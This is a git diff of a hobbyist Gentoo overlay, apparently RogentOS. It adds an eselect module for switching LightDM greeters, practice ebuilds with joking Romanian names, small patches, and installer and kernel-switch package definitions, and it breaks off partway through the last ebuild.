a/app-admin/eselect-lightdm/files/lightdm-0.2.eselect b/app-admin/eselect-lightdm/files/lightdm-0.2.eselect new file mode 100644 index 00000000..00cf7e1d --- /dev/null +++ b/app-admin/eselect-lightdm/files/lightdm-0.2.eselect @@ -0,0 +1,176 @@ +# -*-eselect-*- vim: ft=eselect +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 or later +# $Id: $ + +DESCRIPTION="Switch between LightDM greeters" +MAINTAINER="lxnay@gentoo.org" +VERSION="0.1" + +# Module variables +GREETERS_DIR="${EROOT}/usr/share/xgreeters" +GREETER_SYM="${GREETERS_DIR}/default.desktop" + +find_targets() { + local f fname + for f in "${GREETERS_DIR}/"*; do + [[ "${f}" == "${GREETER_SYM}" ]] && continue + # skip dirs + [[ -d "${f}" ]] && continue + # skip broken syms etc + [[ ! -e "${f}" ]] && continue + # skip non reg files + [[ ! -f "${f}" ]] && continue + + fname=$(basename "${f}") + [[ "${fname}" == *.desktop ]] || continue + + echo "${fname%%.desktop}" + done +} + +remove_symlink() { + rm "${GREETER_SYM}" +} + +set_symlink() { + local target="${1}" + + if is_number "${target}"; then + local targets=( $(find_targets) ) + target=${targets[target-1]} + fi + + [[ -z "${target}" || ! -f "${GREETERS_DIR}/${target}.desktop" ]] \ + && die -q "Target \"${target}\" doesn't appear to be valid!" + + echo "Setting LightDM greeter to ${target}" + ln -sf "${target}.desktop" "${GREETER_SYM}" || die "Cannot create symlink" +} + +### show action ### + +describe_show() { + echo "Show the current LightDM greeter" +} + +describe_show_options() { + echo "--quiet : only print the actual symlink value" + echo "--silent : same as --quiet" +} + +do_show() { + local quiet="" + + while [[ $# -gt 0 ]]; do + case ${1##--} in + quiet|silent) + quiet="1" + ;; + esac + shift + done + + [[ -z "${quiet}" ]] && write_list_start "Current greeter:" + if [[ -L "${GREETER_SYM}" ]] && [[ -e "${GREETER_SYM}" ]]; then + local greeter=$(canonicalise "${GREETER_SYM}") + local greeter_bn=$(basename "${greeter%.desktop}") + if [[ -n "${quiet}" ]]; then + echo "${greeter_bn}" + else + write_kv_list_entry "${greeter_bn}" "" + fi + else + if [[ -z "${quiet}" ]]; then + write_kv_list_entry "(unset)" "" + fi + fi +} + +### list action ### + +describe_list() { + echo "List available LightDM greeters" +} + +describe_list_options() { + echo "--quiet : only print the actual symlink value" + echo "--silent : same as --quiet" +} + +do_list() { + local quiet + + while [[ $# -gt 0 ]]; do + case ${1##--} in + quiet|silent) + quiet="1" + ;; + esac + shift + done + + local i targets=( $(find_targets) ) + + [[ -z "${quiet}" ]] && write_list_start "Available LightDM greeters:" + for (( i = 0; i < ${#targets[@]}; i++ )); do + if [[ -z "${quiet}" ]]; then + # highlight the target where the symlink is pointing to + [[ ${targets[i]} = \ + $(basename "$(canonicalise "${GREETER_SYM}")") ]] \ + && targets[i]=$(highlight_marker "${targets[i]}") + else + echo "${targets[i]}" + fi + done + [[ -z "${quiet}" ]] && \ + write_numbered_list -m "(none found)" "${targets[@]}" +} + +### set action ### +describe_set() { + echo "Set a new LightDM greeter" +} + +describe_set_parameters() { + echo "" +} + +describe_set_options() { + echo "target : Target name or number (from 'list' action)" + echo "--use-old : use the old value if target is already set" +} + +do_set() { + local use_old + local target="${1}" + + while [[ $# -gt 0 ]]; do + case ${1##--} in + use-old) + use_old="1" + ;; + esac + shift + done + + [[ -z "${target}" ]] && \ + die -q "You didn't tell me what to set the symlink to" + [[ ${#} -gt 1 ]] && die -q "Too many parameters" + + if [[ "${use_old}" = "1" ]]; then + old_target=$(do_show --quiet) + target="${old_target:-${target}}" + fi + + if [[ -L "${GREETER_SYM}" ]]; then + # existing symlink + remove_symlink || die -q "Couldn't remove existing symlink" + set_symlink "${target}" || die -q "Couldn't set a new symlink" + elif [[ -e "${GREETER_SYM}" ]]; then + # we have something strange + die -q "${GREETER_SYM} exists but is not a symlink" + else + set_symlink "${target}" || die -q "Couldn't set a new symlink" + fi +} diff --git a/app-admin/example1/Manifest b/app-admin/example1/Manifest new file mode 100644 index 00000000..8d080cc5 --- /dev/null +++ b/app-admin/example1/Manifest @@ -0,0 +1,2 @@ +DIST fisier.tar.gz 130 SHA256 382bfa6be4b66846a1136aef38504d75cf7d66a1b077da92dfa2d547a67664ee SHA512 3e2d7e4bfad7419ffa8d85304eecfb6eb6972accf73985cccf755c7dbb8b416a9417a8897ef19e480f7c0f9a679371ab64f05e45008cdceace540b9326c1d3ca WHIRLPOOL 1c427612716d17f5270bfe9426527c387147ae4c87b3c919c1c7e38b95a93e62c3e095b44603811ad51b3ef6050e33077c59f56a5798ea2c0546c2bea39517e3 +EBUILD fisier-2012.ebuild 862 SHA256 5683e068c464c848ffb0248a84329de8341424a4fac56e571ccb0bbeb31ae10a SHA512 f4688af79800b4ce2a68f74912cf68ef169f7ff1833267de9949432c720a7f139d422e2c4d3d70ac23d566c5f9b503a9aa1bdb48cd589b00724f70e0569185de WHIRLPOOL edc3e9649defc1b5fa3c466eaf9e34bb03e3593b8f89a613edac0378e639728c48a304800aac6934fee2409b2937590dfcb1fd2ba9e3a34530e6a5ade7af525f diff --git a/app-admin/example1/example1-2012.ebuild b/app-admin/example1/example1-2012.ebuild new file mode 100644 index 00000000..b66ad776 --- /dev/null +++ b/app-admin/example1/example1-2012.ebuild @@ -0,0 +1,37 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +DESCRIPTION="Cacatul meu personal" +HOMEPAGE="http://pkg.rogentos.ro/" +SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/fisier.tar.gz" + +LICENSE="GPL-2" +IUSE="primulflag" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="" +DEPEND="${RPEDEND}" + +S="${WORKDIR}" + +src_install() { + dodir /home/cacatulmeupersonal || die "Creem folderul" + insinto /home/cacatulmeupersonal || die "Intram in folder" + doins fisier || die "Copiem fisierul fisier din arhiva" + + if use primulflag; then + sed -i 's/CACAAT/ceva/g' fisier || die "Nu a reusit functia" + insinto /home/cacatulmeupersonal/ || die + doins fisier || die + fi + + if ! use primulflag; then + ewarn "Nu ai folosit flag-ul asta" || die + echo "asta-i echo, dar modificat... genetic" || die + fi + +} diff --git a/app-admin/example2/Manifest b/app-admin/example2/Manifest new file mode 100644 index 00000000..943f0a84 --- /dev/null +++ b/app-admin/example2/Manifest @@ -0,0 +1,12 @@ +AUX exemplu.tar.gz 158 SHA256 26e5bfba98a948bc16c78a2798dde79a4358e839a03dee57e36796cc4a64b6da SHA512 1fc4e2e458eaa32aaffb247ae7720af3f9993bf0d60875f720d91d9aa161e8b719ccb8c292d7e8c94fbf5db126a1d769bdd33d545db4bf6b71abecc8763601ef WHIRLPOOL 8456470959c77e8186a51d804e4d7c228dfc616931ae9b22bb2c545fb2685fc51889c280f963892299aaa9763db126841184ec08401820f0d0012d0e52abaaf3 +AUX exemplu1.txt 9 SHA256 cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 SHA512 663fad5bcd324358db08bc078aba90177f7854b26b38fa06f9a1f454ec7001ee8daf46cb52ab0eb776bc747cdc4fe6ad8a3b3124fbe0a39c4e1e8ed01f6b6e9a WHIRLPOOL c9e28bf0a79c98482dc4b4c3a20749763a40665a37cfdbc9a7e1c87b5c832b168da6fd08b780b3fde8e7d73fb83210fe7e666547921d021251a23e18bc74bc5d +AUX exemplu1.txt.orig 9 SHA256 bf0229df1b5b20af2fcbce73b21d4b7514b619ee7d226ff8d4f2a391dc7b70ff SHA512 40b78383363ff17b8602e7c0a5cfa010be23163419947c71b06d4a2b94c3dd08b59bcec5d77e6105a41b96fd63b00df353073c08d6cba2cbcb0ed273c0218aa7 WHIRLPOOL 45dbf9b18eca5d5101e9767ac625eb6b58aef8a9097bff2de7e22fdc7626eecc67b8f78a2f4269306ce482af8a6fbb40eb8471a5773a58891cdad3646285a82f +AUX exemplu2.txt 8 SHA256 c499ebba9dc0927353b85db5f714f8f3cbd67569e250c4cdabb97e5d5b65a632 SHA512 05574326e12efd7172d277880587b83130a5f4c1d65cc2b162fe70cfa3ee51b98d141b167ba09f9dcb8a4122cd639cd002ef99937955d766ac651d2a236bf7a7 WHIRLPOOL 04866e06a30b3652997bce112c2cce2a925bc0d39e0104d668fde00cf2cc78a89af9e71c92a1c019698d49ce703cc91ec0cfe357ce9ae2e1b5a70e427446ca91 +AUX fisier 6 SHA256 76568a3b0f2c06f3a09f85fd7c2d511cb814f4c7ec8fccef2fe81fc504a07f33 SHA512 968ad951cdb10e403c80e30754bde7df0a661b313c69a662f5f3d8e56d347049a5b3012e4eb7e83e85f2af15fce7de8ef9d8f04cd42e4f464abd943c37486b40 WHIRLPOOL f757dfd020fd50e301b8b0b3153f21b238a18d2311136ae6df38077da847a482610b2c0cd13295cc5b8367e413e718e2361872df142a39afe174d53f4ac0ccf3 +AUX fisier.orig 6 SHA256 be15f6fe0bb4b8485c592ca221f3e1ebe8d628e344049bcc9287df6265f3f37f SHA512 b28b22c09a56bac41886d088d419539b89136548efe5957308c4ec8663105f7df9ed95064785a5d5082e530a2eb5b0495a3916ca9c69cfd13ef0a96d623fff6f WHIRLPOOL 2655cf5b0d7f84299006164e5e738977f8dcbaa0e0237f10a6d61dd07698de97b08ec588ffc811fba68bf5ce5ee4121db05981732a114bb2de917084b58d8e29 +AUX patch-1.0.patch 125 SHA256 0645113892b72e2005696d1e2db27089e4f235fcaf3904140c32cb8f4021be3f SHA512 6623706da634093b5bb27f142e5842b09c81f0643c6b0d554bd1df3ac26f1b8f61c98e21af86289bf38023bcc410609402a4be8e1ccf1b1c67405f82c1bb9b59 WHIRLPOOL cabec3213cb9a3f6ea4b18403ae068551e620e000b046d7e800ad04ee5576a4ddde630cef4ca9be8a56fa631aa91da87d8e8a4a85a9ba6fda72a9d75d447dfcf +AUX patch-1.1.patch 143 SHA256 41e787e24bd147a8cabd3a7f494c12eb5a984568dc44fba6e3033088cfe065ad SHA512 033df7f952cbd1ccb38d73fcc8db8ddfacdffab3a86bc3027e0faf6a44f2ab62effaf75190d218aac1104f525d77a950874b7bf475de38e8601e3e0c742e9aae WHIRLPOOL 3625eaa8505256411c17beef48d8c1a5e8c4da671b4396069481520a4b4397c7dce39dfa8ffff461c4be27788db37461e235d5697731450c3c88f6537a792a69 +DIST exemplu.tar.gz 158 SHA256 26e5bfba98a948bc16c78a2798dde79a4358e839a03dee57e36796cc4a64b6da SHA512 1fc4e2e458eaa32aaffb247ae7720af3f9993bf0d60875f720d91d9aa161e8b719ccb8c292d7e8c94fbf5db126a1d769bdd33d545db4bf6b71abecc8763601ef WHIRLPOOL 8456470959c77e8186a51d804e4d7c228dfc616931ae9b22bb2c545fb2685fc51889c280f963892299aaa9763db126841184ec08401820f0d0012d0e52abaaf3 +DIST fisier.tar.gz 121 SHA256 a934b91bc27f2d15bc561ed0fef471c436abf92e019ae2af10659304eecee1ec SHA512 4665771a884d32f4ed2ff4ec25e587d4cd85abc56368488876c039f8ed0f25931363aa0ea15afb2d581b14533d6529f5176dff4830b5382eb3aee0483adb3f8b WHIRLPOOL 8ef8068d8f7991127ac8fc3e62de6dd4c35492e393fc4edabfd7084d7f46761cc6764e4aa936da55955febe574866ba709153641378f0a24dc83bd3e9ea59476 +EBUILD fisierul-1.0.ebuild 941 SHA256 ce83b22fcdd26de1070f4af3a5bb9b3c138e0f7212098ad8a7673dbfb78539b6 SHA512 5f4801a022637c6c5b6f1d2d0886c30ab98fdab12bcfb152dd3a77b85c91ace05712a8e9aa365accf4a36f7ad4eb2ef02f4774a30980093173785279bac5016d WHIRLPOOL 9b59d6085dc76f9febaac96665378ab6779f19b34adae7a5a2ffd1e1e312a6c686cd4e7e6e9de05f7148b6d39cbc2f10bd78baef819f0f8437ee9c09e3b38aa5 +EBUILD fisierul-1.1.ebuild 647 SHA256 1138ae0ec76d9502e8ac67ee91c6295475d5bc9cdce535cb9487e0c0ee4ce42f SHA512 fb93d8a9ef8e540e39942b288290500b059eb297902f1b13416498b1ae26b15263f6453ac5fba50db7563accf99e2f6f9df1a498536b5945534fbe2a2a78bcd3 WHIRLPOOL 147e33a165af440015bf4bca5bc624905db09fae6ed0746cb6a1a127ea9de94a7c565cc2aa489a728f886cf9b53361852cde06414eb4f9433e3057f90107deb9 diff --git a/app-admin/example2/example2-1.0.ebuild b/app-admin/example2/example2-1.0.ebuild new file mode 100644 index 00000000..0d442efa --- /dev/null +++ b/app-admin/example2/example2-1.0.ebuild @@ -0,0 +1,43 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit eutils + +DESCRIPTION="Cacatul meu personal" +HOMEPAGE="http://pkg.rogentos.ro/" +SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/fisier.tar.gz" + +LICENSE="GPL-2" +IUSE="primulflag" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="" +DEPEND="${RPEDEND}" + +S="${WORKDIR}" + +src_prepare() { + epatch "${FILESDIR}"/patch-1.0.patch || die +} + +src_install() { + dodir /home/cacatulmeupersonal || die "Creem folderul" + insinto /home/cacatulmeupersonal || die "Intram in folder" + doins fisier || die "Copiem fisierul fisier din arhiva" + + if use primulflag; then + sed -i 's/cacat/ceva/g' fisier || die "Nu a reusit functia" + insinto /home/cacatulmeupersonal/ || die + doins fisier || die + fi + + if ! use primulflag; then + ewarn "Nu ai folosit flag-ul asta" || die + echo "asta-i echo, dar modificat... genetic" || die + fi + +} diff --git a/app-admin/example2/example2-1.1.ebuild b/app-admin/example2/example2-1.1.ebuild new file mode 100644 index 00000000..91fc88bb --- /dev/null +++ b/app-admin/example2/example2-1.1.ebuild @@ -0,0 +1,25 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 +inherit eutils + +DESCRIPTION="Cacatul meu personal" +HOMEPAGE="http://rogentos.ro/" +SRC_URI="http://dl.dropbox.com/u/71039453/exemplu.tar.gz" +LICENSE="GPL-2" +IUSE="" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" +RDEPEND="" +DEPEND="${RPEDEND}" + +src_prepare() { + epatch "${FILESDIR}"/patch-1.1.patch || die +} +src_install() { + dodir /home/cacatulmeupersonal || die "Creem folderul" + insinto /home/cacatulmeupersonal || die "Intram in folder" + doins exemplu1.txt || die "Copiem fisierul fisier din arhiva" +} diff --git a/app-admin/example2/files/patch-1.0.patch b/app-admin/example2/files/patch-1.0.patch new file mode 100644 index 00000000..0f3a0794 --- /dev/null +++ b/app-admin/example2/files/patch-1.0.patch @@ -0,0 +1,5 @@ +--- fisier.orig 2012-12-12 02:27:34.000000000 +0200 ++++ fisier 2012-12-12 02:35:47.385217271 +0200 +@@ -1 +1 @@ +-cacat ++rahat diff --git a/app-admin/example2/files/patch-1.1.patch b/app-admin/example2/files/patch-1.1.patch new file mode 100644 index 00000000..380a6fb4 --- /dev/null +++ b/app-admin/example2/files/patch-1.1.patch @@ -0,0 +1,5 @@ +--- exemplu1.txt.orig 2012-12-12 15:00:26.347259148 +0200 ++++ exemplu1.txt 2012-12-12 15:00:32.320188957 +0200 +@@ -1 +1 @@ +-exemplu1 ++whatever diff --git a/app-admin/kernel-schimbare/Manifest b/app-admin/kernel-schimbare/Manifest new file mode 100644 index 00000000..96992769 --- /dev/null +++ b/app-admin/kernel-schimbare/Manifest @@ -0,0 +1,4 @@ +DIST kernel-schimbare-1.tar.gz 3898 SHA256 7ebaad09b6071c4d68e9d4b9f69fe747160d83d02c1bb0782204aef5fed63145 SHA512 76637c229e8c5b98d73502514740b654cd5b8a7d9e3d984373a6b8f1efed7fa751d21e68442370cdd64159cf98298501276dea7e99f33de84228c4c2ac100096 WHIRLPOOL fd039b12458326fe9dfdcaf182f1f83c25130d2b88ee5a6bfe13859962b245590592023494827d2e50063fb6d4d7d3ee25d02618d79c4b54ba20c30d59a7c7a7 +DIST kernel-schimbare-2.tar.gz 3899 SHA256 f86730b95d1854ed7b55a641e77add0c643db36cd9173030994b06b9442a6e50 SHA512 f19477879f64820e2b687046a85a31d285d6ee925249f821579f1ea3915f4dce24ca0a4af58d9861f04e00b1b5ff766ee10756ac710638aeede451c0aaa8a938 WHIRLPOOL b1ea0162bd47c3125d63d14cfd9dd93ae3c0f7277c154dae975c80599c8d11d6c3725f5d56fbdc12a453d8b2a0e9832f25d0f7fbb81fd5c8b4eb6f9b60e688b5 +EBUILD kernel-schimbare-1.ebuild 568 SHA256 5542acffd317dd9e1ba2458677ed1c35e9393cb791e5e9cb1894d0c047647047 SHA512 1a1f53b3702310ddd4662370fb8991166c41673b4931c917b9a914d6077fd832c7248f981958e9322025da93732bb4e607735887d52a1efff98ac34ef728dd94 WHIRLPOOL f70f5115d826fba12948ad7bf8e027fa1a50c9190508bbeb7acd32caa7729d2f26175a6f43d4fdba443a16973c1aa8fed3b20f6be6c9856d6401c565f5239de9 +EBUILD kernel-schimbare-2.ebuild 542 SHA256 8bf8bed2541f11a8f9fdf61bcf2d81a2b074c73da1e775a6bc69345cececb85c SHA512 8f36084a5d6e8d0d45e59b9f5fe9895104c3cb3f2aabbc00ddbb4a874c2b2da343509c60559186cdf30eff653ddeabbcf93d4678613d24006346967b47d62a04 WHIRLPOOL f6c0bff7150f82c02955715b75e541096dd54c1fbb08c585f18b13b9683d610d4c5c3d0aae9b2d39b2b06c4888c2709dac581c1224b397312aaea930098268b1 diff --git a/app-admin/kernel-schimbare/kernel-schimbare-1.ebuild b/app-admin/kernel-schimbare/kernel-schimbare-1.ebuild new file mode 100644 index 00000000..923c3ac7 --- /dev/null +++ b/app-admin/kernel-schimbare/kernel-schimbare-1.ebuild @@ -0,0 +1,28 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit unpacker + +DESCRIPTION="Schimba sau actualizeaza nucleul" +HOMEPAGE="http://rogentos.ro/" +SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="x11-themes/rogentos-artwork-core" +DEPEND="" + +S="${WORKDIR}" + +src_install() { + #whatever + insinto /sbin || die + doins "${PN}" || die + fperms 755 "/sbin/${PN}" || die + fperms 755 "${PN}" || die +} diff --git a/app-admin/kernel-schimbare/kernel-schimbare-2.ebuild b/app-admin/kernel-schimbare/kernel-schimbare-2.ebuild new file mode 100644 index 00000000..2309bcba --- /dev/null +++ b/app-admin/kernel-schimbare/kernel-schimbare-2.ebuild @@ -0,0 +1,28 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit unpacker + +DESCRIPTION="Schimba sau actualizeaza nucleul" +HOMEPAGE="http://rogentos.ro/" +SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/"${PN}"/"${PN}"-"${PV}".tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="-* ~amd64 ~x86" + +RDEPEND="" +DEPEND="" + +S="${WORKDIR}" + +src_install() { + #whatever + insinto /sbin || die + doins "${PN}" || die + fperms 755 "/sbin/${PN}" || die + fperms 755 "${PN}" || die +} diff --git a/app-admin/minus-desktop-tool/Manifest b/app-admin/minus-desktop-tool/Manifest new file mode 100644 index 00000000..408aae6b --- /dev/null +++ b/app-admin/minus-desktop-tool/Manifest @@ -0,0 +1,2 @@ +DIST minus-desktop-tool-1.8_amd64.deb 591524 RMD160 f1e4666a2a598e2670f6d9d8abb548cc5bde470c SHA1 df6592bc884bc24b56791f7a25d65f1b8bc22bcc SHA256 6cda704d1d627fb023cf097e1a18dae794679211aafd72c66d8191736f18e295 +EBUILD minus-desktop-tool-1.8.ebuild 433 RMD160 b891d8c275e7abea1aec178f2a256f6662fb8792 SHA1 d21b61d7610a9704663d95981f14c1a28d75a3b0 SHA256 302cf309758c7b5c984d581826f52124f7bb296edf0a95db5ec5fb2317b33b0f diff --git a/app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild b/app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild new file mode 100644 index 00000000..2eb5b79a --- /dev/null +++ b/app-admin/minus-desktop-tool/minus-desktop-tool-1.8.ebuild @@ -0,0 +1,20 @@ +# Copyright 1999-2009 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" + +inherit unpacker + +DESCRIPTION="Super-useful stream editor (sed)" +HOMEPAGE="https://minus.com/pages/tools" +SRC_URI="http://blog.minus.com/updates/${PN}_${ARCH}.deb -> ${P}_${ARCH}.deb" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +RDEPEND="" +DEPEND="dev-libs/qt-core + dev-libs/qjson" diff --git a/app-admin/our-archive/Manifest b/app-admin/our-archive/Manifest new file mode 100644 index 00000000..f3ad1964 --- /dev/null +++ b/app-admin/our-archive/Manifest @@ -0,0 +1,4 @@ +AUX creation-1.patch 320 SHA256 a2a7f2bfe8830365303c0ffb35540cdd6873351a3ad94ad4dba6058101a65652 SHA512 a2aae609baa2d1b652b7b354ac0ed17bb2c69c81bcdd06b7db27cd1ce3589eb5873ae2e39994595b0aafaf539df1b7bb8b8ac66e5debe198335f0e7123275d66 WHIRLPOOL 195bc88aaea57e667eabb5caa2d45beb6863f0cb2d3e656abd9ae7afb041896658e5d48175eefb65d4dcd4917335d6a383b5c99955fdc18cd46ec13a6d84378e +DIST creation.tar.gz 276 SHA256 350a917c75348976195219628320a7628bff16d86e9430b9851cf2595a440e19 SHA512 0987618543ed3cf341869e8cf6fb147a42d78217ee5bb0baf6e11a5589e018b6f6a98e4c4422a23f253b713f241ec1d781ba1d808d6fbaab8a0dc928018b441c WHIRLPOOL 81c4042214b8e31f6fc4ae3724a7e9a6ba0e37f0bfe1033d631115acf23e741a59a774716f9546b17954b6947ab01a502b9947086b95fcfab88a3e6a34ddf57f +EBUILD our-archive-1.01.ebuild 1040 SHA256 039c5fbd892418d60e27c611d37fe8cfc6f51383f60486485336c923e805a9d2 SHA512 bd5478223d671e870956a676b887f5edbbaa1258307ca71ffe7e7d263d5b327ddbb06dd39b4d42a304777bb253184c2a5f123c6baf259ffee9e89cc163d4dcaf WHIRLPOOL 899fa3e7e31a31bfedcda7590ad945b1bf01bb22f7c017fd2bca9c5fb1e8d120ce78e9f42869cd79cf5d55af0d0e0d289c31715c4e48007679384264dfae3ee1 +EBUILD our-archive-1.ebuild 896 SHA256 d9f6a84c381d26dbfc23bcada2bb62b21ca8f1e694c1a56fc431390cc6d02e15 SHA512 1b45c3efa37539fef7e2b83dfed581981d3d625a385402189192cee013ee8cb56fd45f7668e61c222a6089e1f7d3628f94fa103a1152b58ef5a617edb987de54 WHIRLPOOL 942c3e066188d53e7490ad289bee11928f14af5bbc3588a866ea568378d3d5f1672f899d28fa85721d81101570755f2701633d2f7ff3a3091319e1272af440f7 diff --git a/app-admin/our-archive/files/creation-1.patch b/app-admin/our-archive/files/creation-1.patch new file mode 100644 index 00000000..f8fe2e54 --- /dev/null +++ b/app-admin/our-archive/files/creation-1.patch @@ -0,0 +1,9 @@ +--- creation.orig.sh 2012-10-03 03:21:59.000000000 +0300 ++++ creation.sh 2012-10-03 03:29:53.393351235 +0300 +@@ -4,5 +4,5 @@ + # $Header: $ + + if [ -d "/home/" ]; then +- echo "Acesta este home-ul tau. Let's play with it a bit, shall we" ++ echo "Acesta nu mai este casa ta. Let's play with it a bit, or shall we not." + fi diff --git a/app-admin/our-archive/our-archive-1.01.ebuild b/app-admin/our-archive/our-archive-1.01.ebuild new file mode 100644 index 00000000..bd17c022 --- /dev/null +++ b/app-admin/our-archive/our-archive-1.01.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +inherit eutils + +DESCRIPTION="Example X" +HOMEPAGE="http://rogentos.ro/" +SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/creation.tar.gz + http://pkg2.rogentos.ro/~noxis/distro/creation.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="-configurare" + +RESTRICT="fetch strip" + +RDEPEND="" +DEPEND="" + +S="${WORKDIR}" + +src_prepare() { + epatch "${FILESDIR}/creation-1.patch" || die #Aplicam patch-ul inainte + sed -i 's/Acesta/Asta/g' creation.sh || die #Sed-uim fisierul +} + +src_install() { + if use configurare ; then + dodir /home/$USER/test || die #Creaza director + insinto /home/$USER/test || die #Intra in director + doins creation.sh || die #Copiaza in directorul creat + fi + + if ! use configurare ; then + sed -i 's/Asta/Acesta inapoi/g' "${S}"/creation.sh || die #Schimba Asta inapoi cu Acesta, dar inapoi + doins "${S}"/creation.sh /home/$USER/ || die #De data asta bagam fisierul unde trebe + fi +} diff --git a/app-admin/our-archive/our-archive-1.ebuild b/app-admin/our-archive/our-archive-1.ebuild new file mode 100644 index 00000000..815796cf --- /dev/null +++ b/app-admin/our-archive/our-archive-1.ebuild @@ -0,0 +1,40 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +inherit eutils + +DESCRIPTION="Example X" +HOMEPAGE="http://rogentos.ro/" +SRC_URI="http://pkg2.rogentos.ro/~noxis/distro/creation.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="-configurare" + +RESTRICT="fetch strip" + +RDEPEND="" +DEPEND="" + +S="${WORKDIR}" + +src_prepare() { + epatch "${FILESDIR}/creation-1.patch" || die #Aplicam patch-ul inainte + sed -i 's/Acesta/Asta/g' creation.sh || die #Sed-uim fisierul +} + +src_install() { + if use configurare ; then + dodir /home/$USER/test || die #Creaza director + insinto /home/$USER/test || die #Intra in director + doins creation.sh || die #Copiaza in directorul creat + fi + + if ! use configurare ; then + sed -i 's/Asta/Acesta inapoi/g' "${S}"/creation.sh || die #Schimba Asta inapoi cu Acesta, dar inapoi + fi +} diff --git a/app-admin/rose-installer/Manifest b/app-admin/rose-installer/Manifest new file mode 100644 index 00000000..bf160c49 --- /dev/null +++ b/app-admin/rose-installer/Manifest @@ -0,0 +1,3 @@ +AUX RoSeInstaller.desktop 197 SHA256 0310f95b45c5e1f5f1423f20a008bd93d77eadd739c7e6bc5fd521b9ff258c8d SHA512 f1aa7914c31fcded550bc1b9098004d2746802b6222d8369a75fd84457bf0979f687dd29ab63d0a147041fbe6e242ac516377a777ce113f48b89c6972f4654dc WHIRLPOOL 84fc1d12bf7387b28f067c734b1cc2f8c9b662c4e5b6bcf30fc61070384dd21fd9652dca1b1886ff77a9fecb7410e60c93faf65428dfe4351bf7a7523e7e4691 +AUX rose-installer.png 10420 SHA256 eb7b9ba23d38e6296db50235f679b6d81acc93ec9b328092d8271c39a0e97236 SHA512 0a87d94f34245146438e1c0a584a0ad87b6f04a9058f01120174df0bb8867a62426a4d473ab33e7d3c11810db2d163167e7b855b0a1d485059d91c6eb3e91853 WHIRLPOOL b5cc4f89f42e2954e4f78c6b0ddce6f04341eaac8ada748aedc6e6d331a70b6c7cae27cc035fe0640c1fce437ab64e1688ea27912db062dc9071edf93789da32 +EBUILD rose-installer-1.0.ebuild 878 SHA256 0bb5b4983e239676b4205422d3df7adc7cb681b556524f05efc14af207ef2840 SHA512 9438eaa41df98a6299c5b4fcb6ca1205570f43a0f7dcb3e0266c4c9750bdf38e6089e4fe5f367793896277e9d8e8a1e34e010d20e0dedf7f9eec1be2c4ee9c04 WHIRLPOOL 4f96cdc0c34ca1fa7cf2b7bee200bf84faa9dd4069273109043a9eb3b970e36dc6c1b7428b7d7e54dd9589fe57f12951040371619bc4049949fd12e6c41b6498 diff --git a/app-admin/rose-installer/files/RoSeInstaller.desktop b/app-admin/rose-installer/files/RoSeInstaller.desktop new file mode 100644 index 00000000..8b30b2f1 --- /dev/null +++ b/app-admin/rose-installer/files/RoSeInstaller.desktop @@ -0,0 +1,7 @@ +[Desktop Entry] +Name=RoSeInstaller +Type=Application +Comment=RogentOS GUI Installer for Servers +Exec=/usr/bin/RoSeInstaller +Icon=/opt/RoSeInstaller/rose-installer.png +Categories=System;Development; diff --git a/app-admin/rose-installer/files/rose-installer.png b/app-admin/rose-installer/files/rose-installer.png new file mode 100644 index 00000000..214540af Binary files /dev/null and b/app-admin/rose-installer/files/rose-installer.png differ diff --git a/app-admin/rose-installer/rose-installer-1.0.ebuild b/app-admin/rose-installer/rose-installer-1.0.ebuild new file mode 100644 index 00000000..bbbe3202 --- /dev/null +++ b/app-admin/rose-installer/rose-installer-1.0.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=5 + +inherit eutils git-2 + +DESCRIPTION="RogentOS GUI Installer for Servers" +HOMEPAGE="http://github.com/GabiBGS" +EGIT_REPO_URI="https://github.com/Rogentos/chroot_deploy.git" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="app-misc/rogentos-skel + dev-lang/python:2.7 + dev-python/PyQt4" +RDEPEND="${DEPEND}" + +S="${WORKDIR}" + +src_install() { + insinto /opt/RoSeInstaller + doins "${S}"/RoSeInstaller* + doins "${FILESDIR}"/${PN}.png + + dodir /usr/bin/ + cat > "${D}"/usr/bin/RoSeInstaller <<-EOF + /usr/bin/python2.7 